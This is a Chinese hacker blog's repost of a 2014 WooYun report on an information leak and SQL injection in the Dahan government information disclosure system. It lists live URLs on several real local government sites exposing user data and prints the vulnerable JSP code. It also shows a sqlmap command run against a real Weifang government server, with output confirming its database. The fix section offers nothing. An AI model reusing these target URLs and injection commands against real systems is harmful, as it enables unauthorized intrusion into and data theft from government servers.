记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

大汉版通系统严重信息泄露+SQL注入

2014-08-17 00:45

该系统为:大汉信息公开系统(xxgk)

#1 漏洞文件

/xxgk/m_5_1/govdiropen/que_chooseusers.jsp



随机在互联网上选择几个案例..

下面是信息泄露的

http://xxgk.lyg.gov.cn/xxgk/m_5_1/govdiropen/que_chooseusers.jsp



1.jpg



http://xxgk.lucheng.gov.cn//xxgk/m_5_1/govdiropen/que_chooseusers.jsp



2.jpg



http://xxgk.gaomi.gov.cn:82/xxgk/m_5_1/govdiropen/que_chooseusers.jsp



3.jpg



http://xxgk.qingzhou.gov.cn/xxgk/m_5_1/govdiropen/que_chooseusers.jsp



4.jpg



#2 SQL注入

漏洞代码如下

<%

//当前页数

String currpage = Convert.getParameter(request, "currpage");

currpage = (currpage.equals("")) ? "1" : currpage;





//**where条件**//

StringBuffer strSqlCondition = new StringBuffer(128);//条件

String que_keywords = Convert.getParameter(request, "que_keywords");

String que_usergroupid = Convert.getParameter(request, "que_usergroupid");//这里接收参数

String que_usergroupname = Convert.getParameter(request, "que_usergroupname");

String que_keywords1 = Convert.getParameter(request, "que_keywords1");

String que_scope = Convert.getParameter(request, "que_scope");

que_keywords = (que_keywords1.length() > 0) ? que_keywords1 : que_keywords;//高级检索的关键字优先



strSqlCondition.append(" a.c_id !='00000' AND vc_usertype='0' ");//admin用户不出来



if(que_keywords.length()>0){

if(que_scope.length()>0){

if(que_scope.equals("vc_username")){

strSqlCondition.append(" AND vc_username like '%"+que_keywords+"%' ");

}

if(que_scope.equals("vc_loginid")){

strSqlCondition.append(" AND vc_loginid like '%"+que_keywords+"%' ");

}

}else {

strSqlCondition.append(" AND (vc_username like '%"+que_keywords+

"%' OR vc_loginid like '%"+que_keywords+"%' )");

}

}



if(que_usergroupid.length()>0){

strSqlCondition.append(" AND vc_usergroupid = '"+que_usergroupid+"' ");//带入了SQL查询

}

}



参数均没有过滤,直接进入了SQL语句,造成了SQL注入

#3 SQL测试

随便选取一个连接进行测试

http://xxgk.weifang.gov.cn//xxgk/m_5_1/govdiropen/que_chooseusers.jsp?que_usergroupid=11



5.jpg

漏洞证明:

#数据

C:\>sqlmap.py -u "http://xxgk.weifang.gov.cn//xxgk/m_5_1/govdiropen/que_chooseusers.jsp?que_usergroupid=11" --current-db

web application technology: JSP

back-end DBMS: Microsoft SQL Server 2000

[14:39:40] [INFO] fetching current database

[14:39:40] [WARNING] time-based comparison needs larger statistical model. Making a few dummy requests, please wait..

[14:39:48] [WARNING] it is very important not to stress the network adapter's bandwidth during usage of time-based queries

[14:39:58] [INFO] due to good response times you can try to adjust the time-delay to a more appropriate value (e.g. --time-sec=1)

[14:41:29] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the requestk

current database: 'xxgk'

修复方案:

你们懂

知识来源: www.wooyun.org/bugs/wooyun-2014-061287

阅读:217383 | 评论:0 | 标签:注入

想收藏或者和大家分享这篇好文章→复制链接地址

“大汉版通系统严重信息泄露+SQL注入”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云